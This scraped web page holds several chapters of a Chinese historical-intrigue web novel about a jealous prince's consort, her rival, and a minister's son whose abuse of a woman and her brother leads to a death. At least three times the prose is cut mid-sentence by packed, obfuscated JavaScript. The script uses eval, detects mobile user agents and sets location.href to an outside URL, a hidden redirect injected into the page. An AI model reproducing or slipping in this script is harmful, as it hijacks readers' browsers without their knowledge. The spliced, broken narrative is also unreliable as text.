仆从回禀完,不敢抬头,感觉对面沉默但又透着比刚才更盛的怒意,赶紧把头压得更低了些。 “把这些立刻放到书房去!” “是,殿下。”仆从立马用扫帚拢起草。 “用手捡!” “是、是,殿下。” 煜王殿下对待下人一向和颜悦色,仆从从未见过如此冷硬的语气,当下不敢怠慢,连忙小心翼翼将一地枯草一根根捡起来。 天边乌云压顶,仆从抬起头,那道扬长而去的愤怒身影,比这头上的乌云还要威压沉抑。 *** 阮云薇房中。 “什么?你说殿下命人把那捧草捡回书房去了?!还放进了锦盒珍藏?!” “是的王妃,我打探到殿下在晋南那边巡察之时,水土不服,经常头痛睡不好觉,那个草叫菊草,就是当地人专门用来缓解头痛的,殿下用了十分有效。回桓安之后,偶有头痛,也会专门托人去找这个草。” “呵,原来竟是在这里等着我呢?!”阮云薇怒极反笑。 下午楼映真上门做客,她忍着怒意接待。 楼映真说自己带了些晋南特产来,盒子里有一些山珍,这草本是用来垫在下面的。 当时楼映真只是不经意地说这个草可以放在院中,用来驱赶蚊虫,不值什么钱。 阮云薇看过之后并未在意,只是些普通山珍,连盒子都粗鄙不堪,怎能入她的眼,便叫下人拿走了,整个王府从上到下没人在意这草。 结果,原来这个草才是主角! 今日是这草不知被仆从扔在什么角落,被猫叼下来散落一地,才被殿下发现。 若是没有被殿下发现,楼映真日后再来,还不知道要再借这草搞什么名堂。 就这么想登堂入室么! 正想发火,门外传来通报,是晁元肇的侍从。 “王妃,这是殿下日间给您买的糕点,说是桓安城新开的糕点铺,味道很是不错,因此殿下特意给您买来品尝。” “殿下有心了。”阮云薇笑意盈盈接过,“好生照顾殿下,别一忙起来就废寝忘食。” 侍从领命退下。 阮云薇的笑容维持到侍从的脚步声走远后很久才消失。 她静静看着桌上摆着的精致糕点,隔着油纸包也能闻到香气,但阮云薇眼中只剩下怨毒。 因为,日间她偶遇自己的夫君当街“英雄救美”的时候,他手里拿的就是这个糕点! 她亲眼看见自己的夫君将这盒糕点塞进了楼映真的手中! 不知道这一份,是她的煜王殿下不小心多买的,还是刚才侍从得到提示才急忙出去买的。 好好好,现下连敷衍都不想敷衍了! “还不将香灭了,把药拿来!” 阮云薇被这接二连三的烂事搞得浑身邪火直冒,恨不能生吞几个人。眼前香烟袅袅蒸腾,她看着更加心烦。 人都走了,还燃什么香! 她将香炉掷到地上,手指因太用力不小心被香炉的尖锐纹饰扎到。 疼痛使她一瞬清醒,而后才反应过来,原来身上的躁动不止是被气的,还有燃香的缘故。 她本想着近日晁元肇在桓安时日长些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138511|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试试在他喜欢的香薰中掺些新研制的催.情.香,看看效果好不好。 这男人的心在不在她身上她根本无所谓,但孩子总还是得努力要的。 谁知最近晁元肇的魂儿已经被那贱.女人勾得远远的,连燃香都留不住了,亏桐风还说这香是新研制的,掺在之前的熏香中方便隐蔽,药效迅猛又持.久,什么东西!一点用都没有! *** 第二日。 楼映真在自己的别苑中,打开从接头点取回来的锦书阁信函。 上次在灵骅寺偶然听到阮云薇提到亡夫的事,语气不太正常,因此她回来后便重金向锦书阁买相关的消息,看看其中是否有蹊跷。 虽然距今已经八.九年时间了,她也没抱什么希望,但她是素来只要有百分之一的机会就不会放弃的性子,因此还是想试试。 而锦书阁这封确认信函,也是同样的意思,时隔太久,不敢保证能不能查到线索,让她耐心等待。 “娘子,煜王妃来了。” 她正在院中看信,婢女过来通报,着实让她吃了一惊,没想到阮云薇这么快就找上门。 来者不善,她只好收起信函,打起精神来应战。 *** “没想到姐姐今日前来,我这里太过简陋,没有什么可以招待姐姐的,这是我从安密镇带来的果脯,是桓安没有的,姐姐尝个鲜。” 楼映真亲昵地拉着阮云薇坐在院中。 阮云薇纤手拿起一颗果脯放入口中,笑道:“果然是桓安没有的好味。” 她口中称赞着,眼神却打量着院落,寻找着有无晁元肇的痕迹。 “姐姐不嫌弃就好。” “妹妹在这里住得惯吗,我记得你以前很怕院落冷清,每日都要邀请闺中好友上门热闹一下,我想着如今你孤身一人,怕是寂寞,所以今日无事便过来陪陪你。” 楼映真无所谓地笑笑:“如今我能有个地方栖身已经不错了,哪里还敢奢求什么门庭若市,人家都觉得我是扫把星,克父克夫,也就只有姐姐贴心,还记挂着我。” “哪里的话,门庭若市也有门庭若市的烦恼。你是不知道,自从嫁给煜王之后,我整日在府上就没闲着过,宾客盈门,接待这个接待那个也是麻烦事,既怕不小心得罪这个,又怕不周全疏忽了那个,烦恼得很。还是妹妹这里环境清幽,落得自在。” 两姐妹相视一笑,各自在心中暗骂对方虚伪。 “我给妹妹带了些罗衾被褥,都是宫中年节赐下的好料子,天气热,妹妹用些轻薄贴身的料子,也舒服些。” 二人说着,便到楼映真的闺房之中看料子,像小时候那般拉起布料,比比对对,说说笑笑。 “妹妹,你当真变了很多。” 阮云薇仔细环视着楼映真的闺房,“心疼”道:“你以前不是最喜欢把房间装扮得花花绿绿的吗?” 楼映真的闺房,甫一进入简直和村野客店的客房没什么区别,几乎没有任何女儿家多余的点缀装饰。 楼映真幽微叹气,“经历了这许多,感觉那些都是身外之物了。最近真离不开的,就只有这个药香了,我看姐姐眼下有些青黑,可是近日府中太过操劳睡得不好,这个药香对睡眠很是不错,姐姐可以拿回去用一用。” 阮云薇一进房中便觉有股幽微的草药味,待见到楼映真从床榻边上拿出来的药香,脸色立马僵硬。 这正是那天楼映真拿来的菊草,被她随手扔掉结果惹的煜王大发雷霆。 若仅仅是这样也就算了,但上面为什么还挂着煜王的贴身玉佩?! 这是她前天为他更衣的时候,亲手挂上去的,为何如今竟然出现在楼映真房中的香炉之上,还放在床榻上! 这间房中,这个床榻上到底发生过什么?! 回想起路边偶遇二人“英雄救美”的场景,以及昨天被晁元肇接二连三的敷衍。阮云薇只觉一股恶气涌向头顶,勉强维持的笑容几乎崩塌! 65. 难搞 在这间陋室中,香炉上的玉佩尤为显眼,日光透过窗棂斜照进来,映衬得玉佩愈发晶莹剔透。 还真是“蓬荜生辉”啊…… 阮云薇心中冷笑。 怪不得楼映真说什么花花绿绿的陈设都是身外之物,不在意,敢情早已有人来帮她在意过了。 她这是在向自己挑衅! 昨日在外暗中保护楼映真送回家,留下玉佩,回了王府又为了楼映真大发雷霆。 下一步呢,给她换个别苑? 还是,干脆把楼映真接到煜王府上,和自己姐妹相称? 关于自己夫君这方面的行动力,阮云薇从不啻以最快的速度去揣测,因为府中那些莺莺燕燕就是这么来的! “姐姐,怎么了?”楼映真“贴心”地问。 “无事,房中有些闷热,我想出去透透气。” “是了,我这房间朝向不好,西晒严重,姐姐别中了暑气,快随我去院中透透气。” 阮云薇哪里还有心思随她到院中坐着,怒气之大直恨不得踏碎地砖,心中又生算计,面上却不显,只微笑道: “不了,突然想起府上还有些事情要处理,我得回去了,今次就是来看看妹妹这里有什么需要添置的,你一个人也要好好过,不可太委屈了自己。” “姐姐放心,不委屈。” 楼映真尾音上扬,听在阮匀薇耳中,更显得是在耀武扬威。 阮云薇握住楼映真的手叮嘱:“妹妹有空,可以经常到府上去找我。” “不会不方便吗?”楼映真问得有些小心翼翼。 “当然不会,你是煜王殿下的救命恩人,如何能不方便,你若来,我还要盛情招待呢。叫上庄菡,咱们三姐妹也多聚一聚。” 将阮云薇送走,楼映真回到房中,捋着香炉玉佩的流苏,对婢女道:“准备一下,我要再去一趟煜王府。” 阮云薇势必不会善罢甘休,煜王府这一趟也算鸿门宴,不过早晚都会走到这一步,等着挨刀子,不如主动出击。 *** 两日后,楼映真便登门造访煜王府。 阮云薇依言把庄菡也找了过来。 三人坐在院中乘凉,磕着瓜子,聊着天,让楼映真又想起了往日时光: “遥想咱们三人未出阁那时一起玩乐,一起捉弄人,现在想想,那时候多好啊,不用为生活琐事烦恼。” 阮云薇道:“那时候还有个庄菀可以让咱们戏耍一番,如今她死了,连乐子也没得看了。” 庄菡嗤道:“我就说她不配享福,什么命啊,还敢嫁给虞屹安?” 阮云薇斜睨她一眼:“哎呦,瞧你这酸溜溜的,这么多年了,你心中不会还放不下虞屹安吧?” 庄菡嗔道:“别乱讲,我儿子女儿都八.九岁了。” 楼映真艳羡,“你也算命好,娘家夫家都没有什么可操心的。” 庄菡这些年过得比较顺遂,嫁了门当户对的夫婿,子女双全,衣食无忧。 夫婿段子岳靠着父亲的关系,在军中谋得了个折冲都尉的职位,负责府兵训练和小规模战事,地位稳固,也没什么性命之忧,过得很是滋润。而她自己保养得宜,看着和十年前没什么分别。 比起对面一个寡.妇一个生不出的难姐难妹,庄菡心中自是得意的,但表面还是谦虚道: “哪儿有,不过就是平平淡淡过日子罢了,也没什么意思。不过最近,我阿耶也是烦得很。” “哦,庄伯父怎么了?”阮云薇问道。 庄菡看看她,又看看楼映真,欲言又止。 阮云薇呷了口茶,拈了颗瓜子放进嘴里,打趣道:“你看她,像不像小时候被庄菀气得半死,找咱们出主意那个样子。” 楼映真一愣,回忆起什么,也跟着轻笑出声:“还真是,有什么烦恼说出来听听,咱们三姐妹出的主意,就算比不上诸葛亮,也比臭皮匠强多了。” 庄菡:“哎呀,倒也不是什么大事,就是有点麻烦。” “有多麻烦,说来听听。”阮云薇漫不经心地问。 庄菡气闷道:“是我弟弟,闹出了个官司。” “戴英?他的事情,庄伯父还摆不平?”阮云薇奇道。 庄菡叹气:“唉,不怕横的,就怕不要命的。我弟弟看上一个女子,玩了几天,她丈夫找上门来,我弟弟把他腿打断了。 我们已经说了把那女子放了,给一笔钱,他们夫妻回去好好过日子,就当和我弟弟这事没发生过。 你说说有什么能比女子的名节还重要,但她丈夫连她的名节都不顾,非得要去告官,一定要把我弟弟送进大牢,真是死脑筋!” 阮云薇和楼映真一听便明白了,这是庄菡的弟弟庄戴英跟民间有夫之妇扯上了不清白的关系,现在人家不干了,非要讨个说法。 庄菡道:“我弟弟也是被惯坏了,平日里虽然干了不少混账事,但基本用钱都能摆平,可是这回,他不小心闹出人命了,是那个女子的弟弟,偏巧还是嘉善书院的学子。” 楼映真虽然不在桓安多年,也知道嘉善书院是当年嘉善皇后跟圣人提议兴办的书院,里面的学子都是各府县选拔.出来的尖子,圣人重视得很。 若是一般的人命,或许桓安府尹看在庄戴英父亲是户部尚书的份上,糊弄糊弄也就过去了。 但偏偏圣人怀念嘉善皇后,对其兴办的各种机构都很重视,尤其是嘉善书院学子的成绩,是连圣上每年都要亲自过目的。而且因此,桓安坊间对于读书人很是敬重,如今闹出人命,确实不好办。 庄菡继续道:“主要也是我弟弟蠢,手下没处理干净,把那女子的丈夫打断腿就扔出去了,也不说把嘴堵严实点,结果那女子的丈夫愣是不知道从哪里爬到了府尹跟前告状,幸好是天黑,周围没人看见,府尹先把人送到我父亲面前了。” 阮云薇:“那庄伯父搞定不就行了?” 庄菡:“本来是的,可是谁知道府尹周围有没有绣衣察事司的人,他们神出鬼没的,现在就祈祷,不要被那个霍彦先知道,要不然我阿耶也不会那么愁了。” 朝臣风纪也在霍彦先的管辖范围之内,怪不得这么麻烦。 阮云薇仔细听着,心中突然一动,面上却劝说庄菡: “没关系的,虞屹安那么受圣人垂青,就算是看在他的面子上,圣人也不会动庄伯父的,顶多你弟弟受些皮肉之苦。你可以去找虞屹安打个招呼,万一霍彦先知道了,看看虞屹安能怎么周旋一下。” 虞屹安是庄孚义的女婿,这么多年,庄孚义能在朝中顺风顺水,跟他这个平步青云的中书侍郎女婿脱不开关系。 虞屹安十年前中了状元,在朝为官期间,为人处事深得圣人的心,十年时间从状元郎到中书侍郎,升官升得那叫一个稳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼映真敢上门,不可能不玩点什么猫腻,只是今天插了庄菡这档子事,可能没施展开。 婢女应下,转身欲将东西送去库房。 “等一下,叫柳盛过来。” “是。” 柳盛过来后,阮云薇道:“你去告诉那边,庄氏嫡子庄戴英最近好像是犯了什么事情,可以试着接触一下,把焦点转移到那边,这样不会太显眼。” “是,王妃。”柳盛应声而退。 窗外一道惊雷劈下,大雨倾盆。 *** 阿婵外出办事,冒雨回到了蓬莱春,浑身湿透。 换过衣服,谢慕游将楼映真的确认信函拿给她看。 “楼映真竟然真的认为阮云薇和她的亡夫之死有关,这倒是越来越有意思了。之前我查了那么多,从来没往这边想过。” 阿婵仔细看过信函,“这确实是新的入手点,但就是时间隔得太久了,她亡夫当年好像是病死的,不知道有什么疑点,估计就算有线索,也很难找得到,跟宫里的消息一样难搞。” “你可以去找霍彦先打探一下。你俩关系搞得怎么样了?要是能进绣衣察事司的档案库看看就好了。”谢慕游一脸向往。 “他?绣衣察事司的档案库?你不如躺下现在开始做梦!”阿婵翻了个白眼。 66. 默契配合 两日后,霍彦先从外地公务回城,回来时还有半里地到城门,看见担着扁担的挑夫一路小跑往前冲。 霍彦先抬头看看天色,距离城门关闭还早。 已经人心惶惶到这个程度了…… 他在外地收到消息,桓安太平没几日,又开始频繁出现孕妇遇煞气流产的传闻,加上之前灵骅寺虎妖出没的事也在坊间秘密传播开来,现在桓安百姓都害怕遇到妖怪。 不仅有孕妇的人家害怕,所有人都会默契地天黑便回家,闭门不出。 正想着,突然,他身.下的马匹喘.着粗.气,徘徊不前。 天气太过闷热,许是中暑了。 霍彦先连忙将马牵到附近的小食摊,给马喂了些水。 等它的暑热之症有所缓解,就慢慢将其牵到河边,让马在河边洗澡降温。 此时天色已渐暗,河边树木丛生,显得黑压压的。 霍彦先忽听闻离他不远处有动静。 不像是鸟鸣鱼游,但有树遮挡,光线太暗,透过交缠的枝叶也看不清。 他悄悄穿过树丛靠过去。 发现竟是一个蓝衫女子,在将另一个绿衫女子从水中拖上来! 霍彦先连忙过去帮忙。 “是你?!” 霍彦先眼看那蓝衫女子用一根极细的丝线将一团绿影从水里捞出。 这熟悉的身影,和心里咯噔的感觉…… 是阿婵! “霍大人?” “这怎么回事?” “不知道啊,我就去了一趟灵骅寺查看高僧的伤势进展,顺便送药,见今日天气不错,准备找个地方夜观天象来着,哪知道半路遇到她要寻短见。” 霍彦先看阿婵非常丝滑地将山蜘蛛丝甩出缠在绿衫女子腰间,提起、收线,绿衫女子像鱼一般轻盈平稳地落在了河滩上。 阿婵道:“我见到她的时候,她人已经半个身子进了水里,一看她这小身板,就不像是大晚上夜游乘凉的,所以就先捞上来再说。” “……” 霍彦先查看绿衫女子气息,没有溺水,但呼吸散乱虚脱,面色惨白,表情痛苦,连道谢都断断续续:“谢谢……两位……的救命之恩……” 阿婵和霍彦先等她能喘顺了气之后才问:“你为何这般想不开?” “不是,我是遇到了妖怪,是妖怪将我拖下水……。”女子说着,浑身还止不住地颤.抖着。 “妖怪?”霍彦先和阿婵对视了一眼,“什么妖怪?” “天色暗了,我没看清,只记得走到水边遇到黑色的一团东西将我往下拖……” 绿衫女子声音很小,眼神不敢看两人,也不敢看水面,只紧抱着自己的身体,泫然欲泣。 黑色的一团? 难道又是煞气?! 霍彦先和阿婵立马警觉地查看四周。 但除了越发黑暗的密林,什么都没有看到。 “别怕,有我们在,你不会有事的……”阿婵将绿衫女子的手腕捉过,给她把脉。 这脉象…… 霍彦先见阿婵的表情沉了下来。 “流产之兆……”阿婵靠近霍彦先耳语。 霍彦先立马眼神询问她,阿婵会意,摇摇头小声说,“没有妖气。” 随后阿婵便故作轻松道:“看脉象没什么问题,你这是惊吓过度了。” 女子听到这话,抬眼看了阿婵一眼,似乎有点惊讶。 “怎么?不信吗,我可是附近村里有名的全能赤脚郎中,什么都会一点。”阿婵说完捅了霍彦先一胳膊肘。 “啊……对……她医术还可以……”霍彦先翻了个白眼接茬道。 今日他回城,为了行路方便不打眼,没穿华服,只做平头百姓打扮,阿婵更是朴素偏穷,这样的说辞似乎也说得过去。 绿衫女子狐疑地看着二人,眼神还是有些不信,但也没多说什么。 她挣.扎着起身,给两人行了大礼,“多谢二位贵人救命之恩,我没事了,天色不早,听说城中最近闹妖怪不太平,二位也早些回去吧,奴家这便先告辞了。” “你这样……当真能自己回去?”阿婵摸着下巴表示质疑。 霍彦先拉了阿婵衣角一下,说道:“如此我们便不相送了,慢走,注意安全。” 绿衫女子点头应好,两人便回头离开。 走了没两步,两人便默契地迅速隐身入密林,暗中观察女子。 只见她沿河往另一头走,但走了一段,听到没有他们二人的脚步声后,便回过头警惕地查看,等了许久,见四下无人,又缓步走到水边,神情凄恻。 这回她似是下了很大的决心,非常坚定地快步往水中走去。 突然,背后一股力量袭来,绿衫女子只觉天旋地转,下一刻便发现自己已经被拦腰拖回岸上。 她定睛一看,边上两个熟悉的身影,正半蹲着看她,表情十分无语。 绿衫女子:“……” 阿婵:“放心,今天有我们两个在这儿,不管是你想死,还是别人想你死,还是有妖怪想你死,阎王爷都不敢收你。” 霍彦先:“……” “我刚才没说完,我是赤脚医生,也会捉妖,这水中和周围根本没有妖怪,你身上也没有妖气,所以,你可是有什么苦衷,被逼到只有这一条路可走?”阿婵问。 绿衫女子被戳穿,但也不言语,只是眼圈迅速变红,嘴唇紧抿到发颤,似是怀揣着天大的委屈却不敢说。 “别怕,如果你遭遇了不公,可以跟我们说实话,我们两个小有些人脉和手段,说不定可以帮帮你。”阿婵柔声安抚她。 流产加轻生,想也知道大概是什么原因。 “不愿说也没关系,我们两个就在这儿陪着你。” 对方是女子,霍彦先本想换一下语气,但是办案久了,一时没控制好力度,眼神还是冷了一点,语气还是硬了一点,听起来还是有点像在审犯人,好端端的夏天突然就冷飕飕。 绿衫女子被他冷硬强大的气场和锐利的目光吓到,本就脆弱的情绪此时更加委屈,如惊弓之鸟瑟缩成一团,似乎这里若有地缝,她瞬间就能整个人扎进去。 阿婵:“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151417|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 霍彦先一脸无奈地看着阿婵,自己不敢靠近,示意“还是你过去劝劝”。 阿婵不得不好言哄着,半晌绿衫女子才略松口,然而声音比蚊子还小,含含糊糊听不清楚,阿婵使劲听才听到她说的是: “我被糟蹋了,本也没脸活着,只要能救我丈夫,我就是死了也无妨……” 努力挤出这句话后,绿衫女子心中紧绷的那根弦像是瞬间断了,崩溃地放声大哭,直到崩盘的情绪渐渐全部释放出来,才和阿婵袒露心声。 她说自己叫梁秋月,和丈夫从外府到桓安探望弟弟梁秋敏,偶遇一个纨绔公子,不知为何竟将她强行抢去拘禁占有。 那时她刚怀有身孕,被那纨绔欺侮过后便流产了。 后来梁秋月才知道,原来那纨绔是她弟弟的同窗,她弟弟在书院中成绩很好,夫子很看重他,那纨绔不学无术,一直对他嗤之以鼻。 不久前,夫子又用梁秋敏的文章教育找人顶包写课业的纨绔,纨绔听烦了,放学后专门找梁秋敏的茬儿,两人发生口角。 梁秋敏一番话劈头盖脸引经据典无比流利地怼了那纨绔,文绉绉听得纨绔直发懵,因为他听不懂。 后来还是经人提醒,才知道梁秋敏话里话外都在说他不过就是仗着家世才能到这里念书,实则根本就是一团草包。 纨绔看周围同学明面不敢言语,但暗地里都在说梁秋月怼得有水平,越发嫉恨他。 后来,梁秋月和丈夫到了桓安,安顿好后,她独自拿着衣物吃食到书院去看弟弟。 因为她和梁秋敏有说有笑,关系亲昵,让那纨绔误以为她是梁秋敏的心上人,才萌生了歹意,后来发现误会一场,她其实是梁秋敏的亲姐姐,但这却并没有打消那纨绔占有她的念头。 因为他打听后得知,梁秋敏一直非常敬重姐姐。小时候家里很穷,父母有好吃的都留给梁秋敏,但是他觉得这样不公平,反而将吃了偷偷省下来给姐姐吃。 而梁秋月这个做姐姐的也十分疼爱弟弟,父母双亡后,她拼命做工挣钱,将弟弟拉扯大,送进桓安最好的书院读书,梁秋敏拼命读书也是为了能够让姐姐过上好日子。 所以,那纨绔为了让梁秋敏后悔,丝毫不管梁秋月已经嫁做人妇,并且有了身孕,强行占有了她,把她拘禁在自己一处远郊私人别苑中,当做玩物一样羞辱。 得知梁秋月被强占后,她丈夫红着眼找上门要人,结果被那纨绔打断了腿。 梁秋月当时哀求对方,只要放了她丈夫,自己做什么都可以,那纨绔笑着答应了,让人把丈夫拖到外面不知道扔到了哪里。 后来她弟弟也知道了,为了救她,报官不成,也豁出命上门抢人。 结果当着梁秋月的面,那人.渣竟将她弟弟的手指一根一根掰断,踩在脚下碾压,还一边嚣张大笑一边说:“夫子不是夸你文章写得好吗?来,再写一个我看看……” 他揪着梁秋月的头发,让她睁大眼睛好好看着她的好弟弟是怎么写出一手精彩文章的。 然后叫下人拖着梁秋敏血肉模糊的手指,让他沾着血写了一地的字…… 67. 他的地盘 梁秋月差点哭晕过去。 她弟弟写得一手好字,小时候,弟弟抢着帮她干粗活,她都舍不得,他的手天生就该拿笔墨,写文章。 可如今,弟弟的双手却被极其粗暴地踩在那人.渣脚下,连挣.扎的力气都没有! 她为了救弟弟,声嘶力竭地哀求对方,结果因为刚刚流产,气力不支便晕过去了。 醒来之后,她发现弟弟重伤,只剩下一口气,和她一起被塞到了柴房里。 她抱着弟弟瘦弱的身体,拼命呼唤他,好在,梁秋敏醒过来了。 他看到姐姐没死,长出了一口气,又哭又笑,对她说,当时他以为她死了,整个人都懵了,用尽全身的力气和那纨绔拼命,结果被那纨绔打成这样。 他抬起手想去握姐姐的手,可原本骨节分明的手指全部被折断,已经肿.胀变形成了棒槌,根本握不住。 梁秋敏气若游丝,哭着不停地跟她道歉:“姐姐……对不起……都是我害了你,我不仅没考上功名,让你过上好日子,还把你和姐夫连累成这样,都怪我,对不起……对不起……你放心,我就算是做鬼,也不会放过他的……” 她的弟弟就这样,带着无尽的歉意和恨意,哭着咽气了。 梁秋月痛哭失声,一度没有办法继续讲述,阿婵安抚了她好一会儿,她才继续抽泣着说: 她就这样和弟弟的尸体待在一起,丈夫当时生死未卜,那时她想不如死了算了。 但那纨绔后来把弟弟的尸体搬走了,过了几天,她迷迷糊糊醒来,发现丈夫竟然也被关了进来。 丈夫的双腿也已因被打断肿.胀溃烂,万幸的是,人还清醒,夫妻二人哭做一团。 梁秋月告诉丈夫,弟弟不久前死了,丈夫却说他已经知道了,就是因为这个才被关进来的。 原来,她丈夫被那纨绔打断腿后扔到了郊外密林,他装死骗过了那些家丁,随后装作流浪汉,硬是爬到了府尹门口,想要报官,但没想到,府尹却趁夜把他交给了纨绔的父亲。 对方好像是朝廷重臣,连府尹都对他和颜悦色。那朝廷重臣说要给他钱,让他们夫妻俩隐瞒弟弟的死讯,远走高飞。 但梁秋月的丈夫就是咽不下这个口气,明明他们什么错都没有,却招来一身无妄之灾,他报官不成,就告到圣人面前去,他就不信,难道这桓安的大官真能只手遮天! 后来,那朝廷重臣就把他关到了这里。 到这里,梁秋月也心知如果不屈服,可能真的没有活路了。 半夜,果然有个家丁过来,趁他们夫妻二人熟睡,要杀了她丈夫。 梁秋月心中有不好的预感,一直没敢睡,扑过去阻止家丁,家丁下手失了准头,只打晕了丈夫。 她不断央求那家丁,只要丈夫能活着,她做什么都行。 那家丁看着她,一脸阴恻恻的黑夜里活像个鬼,吓得她直哆嗦。 家丁道:“其实我家公子本没想杀人,只是想小惩大诫一下你弟弟出出气,都是你们姐弟俩不自量力,公子一激动才下手重了点。 现在又因为你丈夫,非要把这件事闹大,本来很容易解决的一件事,搞得一团糟。我家大人也很生气。 要我放过你丈夫也行,我们把你和你弟弟伪装成意外死亡,让这件事平息,你丈夫到时候只会被当成报假案,打一顿也就放了,否则的话,你丈夫也只有死路一条。” 这是让她自杀…… 女子看着昏迷的丈夫,心中急得一团乱麻,脑子里只有一个想法,一家人不能全没了,只要丈夫能活着,她做什么都行。 绝望之下,她便真的答应到城外河边伪装成意外落水自杀。 家丁将梁秋月放出来,远远地盯着她履行自己的诺言。 她拖着刚刚流产的身子,浑浑噩噩走了好几里地,走到了这里。 刚准备投河,便在河边遇到了一团黑雾,但那黑雾只是从她身边掠过,当时她绝望至极,也没心思管是不是有妖怪,只想着自己只要一了百了,丈夫就有救了,结果就遇到了阿婵和霍彦先。 梁秋月不敢说自己是被人胁迫的,只好装作失足落水,等两人走了之后再自行了断,结果没想到他俩又折回来了。 阿婵冷声道:“你真的相信,只要你死了,他就会放过你丈夫吗?他们只会把你丈夫也一起毁尸灭迹,假装失踪!” 梁秋月身子本就极其虚弱,这些天吃不好睡不好,讲述整件事的时候,一直断断续续,脑子根本转不过弯,听到这话,脸色更加煞白,“那我丈夫现在……” 阿婵和霍彦先对视一眼,欲言又止。 在梁秋月讲的这件事中,二人内心都觉得有些地方不太合理。 如果那纨绔父子真的足够在桓安只手遮天,其实最方便的办法是将他们一家子全部弄死,而不是搞这种威胁梁秋月去死才放过丈夫的迂回手段。 她还自述遇到了一团黑雾,但身上并没有沾染妖气。 此外,刚才霍彦先在旁边等着阿婵安抚梁秋月的时候,已经快速查看过四周,若那家丁刚才在周围,看到霍彦先和阿婵估计也早都跑了,抓不到现行。 目前只有梁秋月的一面之词,还需要更多证据。 霍彦先问道:“那纨绔父子是谁,你可知道?” 梁秋月回忆:“我好像只在弟弟被他折断手指的时候,听到弟弟叫他庄代荫,不知道是哪几个字,后来我夫君说,那府尹管他父亲叫庄大人……” “庄戴英。”霍彦先面色冷硬吐.出三个字,“户部尚书庄孚义的嫡子。” 他是绣衣察事司副察事,对于朝臣及其亲眷姓名如数家珍,这两个人,他再熟悉不过了。 放眼整个桓安,姓庄、称得上朝廷重臣的,就只有庄孚义了,而他的嫡子庄戴英,正是有名的纨绔。 阿婵听到这两个名字,拳头顿时握紧。 梁秋月听到霍彦先的话,似是心中堵着的一块大石被掀开,内里惊涛骇浪登时翻出,眼中隐忍半天的泪猛地如决堤一般再也止不住。 户部尚书,她一介草民,怎么惹得起啊! 霍彦先面色冷了下来。 庄孚义这两年在朝中风头正盛,圣人很是看重他。所以庄戴英平日里狐假虎威,也无人敢有异议。 庄孚义能力很强,一路从掌管仓库的太府寺底层小吏,做到了如今户部尚书的高位。而且他运气好,当年寒门学子虞屹安中了状元后,一眼相中他的庶女庄菀。 虽然庄菀成婚后没多久就死了,但虞屹安也没再娶,一直和庄孚义翁婿相称。 如今中书令致仕,中书省实际的大小事务暂时都是由身为中书侍郎的虞屹安在牵头执行,圣人对他很是倚重。 庄孚义这些年能顺利升迁,和他这个中书侍郎女婿绝对脱不开关系。 有这两人在,毫无背景的梁秋月和丈夫、弟弟,想要与庄氏父子抗衡,无异于以卵击石,蚍蜉撼树。 庄孚义极其看重家族声誉,平 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阿婵柔和道:“我之前不是说了,我们两个小有些人脉和手段,我会捉妖和医术,可以帮你调理身体。这位霍大人呢,看着虽凶,但是专杀不干好事的狗官,我陪你跟他一起接受调查,好不好?” 梁秋月抬头看阿婵,眼神中充满感激,又看看霍彦先,后者并无半分强迫催促,只是退后半步安静站着,等她做决定。 她定了定心神,对阿婵和霍彦先点点头,“好,我跟你们回去。” *** 霍、婵二人和梁秋月一起去了绣衣察事司。 霍彦先令司中女医和阿婵一起,给梁秋月检查了身体,开了补养身体的药方。 待杨奉安给她录完口供,安排好临时住宿,阿婵承诺有空会过来看她,才同梁秋月告别。 这是阿婵第一次进入桓安绣衣察事司的地界,她作游客状好奇地四处打量,疯狂压抑心中想去档案库的念头,毕竟这种机会不知何时才能再有。 传闻中,一进绣衣察事司大多有去无回,是堪比阎罗地狱般的可怕地方,可如今一见,也不过是一个规规矩矩的三进院而已,和富州都督府的府衙差不多,一点也不恐怖。 只不过已经接近深夜,这里依旧灯火通明,还有很多人来来往往,一片繁忙景象。 “怎么样?我绣衣察事司如何?” 霍彦先低沉的嗓音在耳畔突然响起,阿婵吓了一跳,回过头,才发现他离自己很近,她不自觉地后退半步。 霍彦先身形高大,阿婵自诩在寻常女子中也算高挑,饶是如此,霍彦先也比她高了快一个头,刚才就这样悄无声息地站在自己身后,居高临下审视着自己,不知道站了多久。 以前阿婵从不觉得霍彦先有如此威压,至少大部分时间,她都能和他互相抗衡。 可能因为这次是在他自己的地盘,或者是她心虚,阿婵忽然觉得他冷脸不笑的时候,确实有些令人喘不过气来。 阿婵干干地笑:“挺好挺好,多热闹,比传闻中温馨多了嘛……” “温馨?”霍彦先乐了,这辈子还是头一回有人用这个词形容绣衣察事司。 他挑眉,犀利的眼神中透着戏谑:“那不如,我请你去牢里坐坐?” 阿婵讪笑,连连摆手:“啊不用不用,这个牢我就先不坐了……霍大人留步、留步,我自己走就行了。” 68. 打赌心动 说话间二人已经走到了绣衣察事司大门口,阿婵跟霍彦先道别,转身离开。 而霍彦先一直目送阿婵直至身影消失,才回身入内。 